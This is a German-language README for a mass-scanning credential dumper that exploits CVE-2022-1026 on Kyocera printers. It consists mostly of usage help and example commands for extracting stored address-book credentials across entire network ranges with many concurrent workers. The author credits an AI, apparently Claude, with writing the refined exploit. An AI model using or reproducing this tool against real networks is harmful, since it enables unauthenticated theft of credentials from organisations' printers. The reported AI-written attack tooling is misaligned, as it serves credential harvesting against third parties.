
Kyocera-Cred-Dumper basierend auf CVE-2022-1026
Basierend auf dem ursprünglichen Exploit von Aaron Herndon, @ac3lives (Rapid7) - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/
Danksagungen an Aaron Herndon / https://twitter.com/ac3lives / https://github.com/ac3lives/kyocera-cve-2022-1026
Danke an claude für die Erstellung des verfeinerten PoC für mich ;)
Da ich immer noch täglich auf Kyocera-Drucker stoße, die anfällig für diesen Exploit sind, wollte ich einen verfeinerten PoC haben, der das Scannen von Netzwerkbereichen oder mehreren Hosts ermöglicht und die erlangten Anmeldeinformationen für eine schnelle Zusammenfassung ansprechender darstellt.
python3 KyoceraCredsDump.py -h
usage: getKyoceraCreds.py [-h] -t TARGET [-p PORT] [--timeout TIMEOUT] [--connect-timeout CONNECT_TIMEOUT] [--workers WORKERS] [--no-probe]
Kyocera printer address-book credential extractor (unauthenticated SOAP)
options:
-h, --help show this help message and exit
-t, --target TARGET Target spec: IP, CIDR, dash-range, or comma list (see examples below)
-p, --port PORT TCP port of the Kyocera SOAP service (default: 9091)
--timeout TIMEOUT HTTP timeout in seconds for the exploit (default: 10)
--connect-timeout CONNECT_TIMEOUT
TCP connect-timeout for pre-flight port probe in seconds (default: 1.0)
--workers WORKERS Concurrent workers for port probe and exploitation (default: 50)
--no-probe Skip pre-flight TCP probe, exploit every target
Target formats (used with -t/--target):
Einzelne IP: 172.16.2.5
CIDR: 172.16.2.0/24
Bereich: 172.16.2.1-172.16.2.10 oder 172.16.2.1-10
Komma-Liste: 172.16.2.1,172.16.2.2,172.16.2.50
Gemisch: 172.16.2.0/28,172.16.3.5,172.16.4.1-10
Beispiele:
python3 getKyoceraCreds.py -t 172.16.2.0/24
python3 getKyoceraCreds.py -t 172.16.2.1-172.16.2.10
python3 getKyoceraCreds.py -t 172.16.2.1,172.16.2.2,172.16.2.50
python3 getKyoceraCreds.py -t 172.16.2.5 -p 443
python3 getKyoceraCreds.py -t 172.16.2.0/24 --workers 100 --connect-timeout 1